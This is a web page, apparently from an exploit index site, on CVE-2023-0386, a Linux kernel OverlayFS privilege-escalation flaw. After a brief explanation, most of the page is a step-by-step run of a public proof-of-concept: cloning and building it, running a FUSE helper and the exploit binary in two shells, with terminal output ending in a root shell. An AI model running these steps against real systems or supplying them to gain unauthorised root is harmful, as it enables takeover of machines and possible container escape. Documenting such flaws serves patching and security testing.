Skip to content
HackIndex logo

HackIndex

CVE-2023-0386:
Linux kernel OverlayFS (Privilege Escalation)

Published: Feb 21, 2026
High
Improper Ownership Management

CVE-2023-0386 is a Linux kernel OverlayFS privilege-escalation bug disclosed in March 2023 where a local user can abuse how OverlayFS handles file ownership/capabilities during copy-up to get a file in the upper layer with root privileges. The “how” is using a crafted overlay mount and file operations so the kernel ends up applying privileges it shouldn’t. What it can cause is local root, meaning a user who already has some access on the box can become root, take full control of the system, and potentially break out of certain container setups if OverlayFS is in play.

Kernel Privilege Escalation OverlayFS

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

puckiestyle/CVE-2023-0386
Privilege Escalation script
View source (opens in new tab)

For this exploit to work you need 2 shell sessions. In the first session:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/puckiestyle/CVE-2023-0386.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2023-0386
┌──(kali㉿kali)-[~]
└─$ make all
 
┌──(kali㉿kali)-[~]
└─$ mkdir ovlcap # make sure this folder exists on the target
┌──(kali㉿kali)-[~]
└─$ ./fuse ./ovlcap/lower ./gc 
[+] len of gc: 0x3f38
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601

Keep this running and open your second shell with the following actions:

┌──(kali㉿kali)-[~]
└─$ chmod +x exp
┌──(kali㉿kali)-[~]
└─$ ./exp 
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jan  9 20:37 .
drwxrwxr-x 6 root   root     4096 Jan  9 20:37 ..
-rwsrwxrwx 1 nobody nogroup 16184 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@hostname:/tmp# whoami
root